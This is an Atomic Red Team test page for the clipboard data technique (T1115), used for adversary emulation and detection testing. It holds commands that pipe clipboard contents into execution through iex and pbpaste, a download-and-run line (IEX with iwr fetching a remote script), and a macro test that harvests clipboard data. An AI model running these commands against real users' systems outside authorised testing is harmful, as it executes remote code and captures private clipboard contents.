Sign in

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 4 Actions Wiki Security Insights

atomic-red-team / atomics / T1115 / T1115.md

166 lines (83 loc) · 3.56 KB

Preview Code Blame Raw

T1115 - Clipboard Data

Description from ATT&CK

> Adversaries may collect data stored in the clipboard from users copying information within or between applications.
> In Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, `pbpaste`, to grab clipboard contents.(Citation: Operating with EmPyre)

Atomic Tests

- Atomic Test #1 - Utilize Clipboard to store or execute commands from
- Atomic Test #2 - Execute Commands from Clipboard using PowerShell
- Atomic Test #3 - Execute commands from clipboard
- Atomic Test #4 - Collect Clipboard Data via VBA

Atomic Test #1 - Utilize Clipboard to store or execute commands from

Add data to clipboard to copy off or execute commands from.

Supported Platforms: Windows

auto_generated_guid: 0cd14633-58d4-4422-9ede-daa2c9474ae7

Attack Commands: Run with `command_prompt`!

```
dir | clip
echo "T1115" > %temp%\T1115.txt
clip < %temp%\T1115.txt
```

Cleanup Commands:

```
del %temp%\T1115.txt >nul 2>&1
```

Atomic Test #2 - Execute Commands from Clipboard using PowerShell

Utilize PowerShell to echo a command to clipboard and execute it

Supported Platforms: Windows

auto_generated_guid: d6dc21af-bec9-4152-be86-326b6babd416

Attack Commands: Run with `powershell`!

```
echo Get-Process | clip
Get-Clipboard | iex
```

Atomic Test #3 - Execute commands from clipboard

Echo a command to clipboard and execute it

Supported Platforms: macOS

auto_generated_guid: 1ac2247f-65f8-4051-b51f-b0ccdfaaa5ff

Attack Commands: Run with `bash`!

```
echo ifconfig | pbcopy
$(pbpaste)
```

Atomic Test #4 - Collect Clipboard Data via VBA

This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt

Supported Platforms: Windows

auto_generated_guid: 9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52

Inputs:

Name	Description	Type	Default Value
ms_product	Maldoc application Word	String	Word

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA"
```

```
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ato
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -offi
```

Cleanup Commands:

```
Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt" -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: Microsoft #{ms_product} must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this
```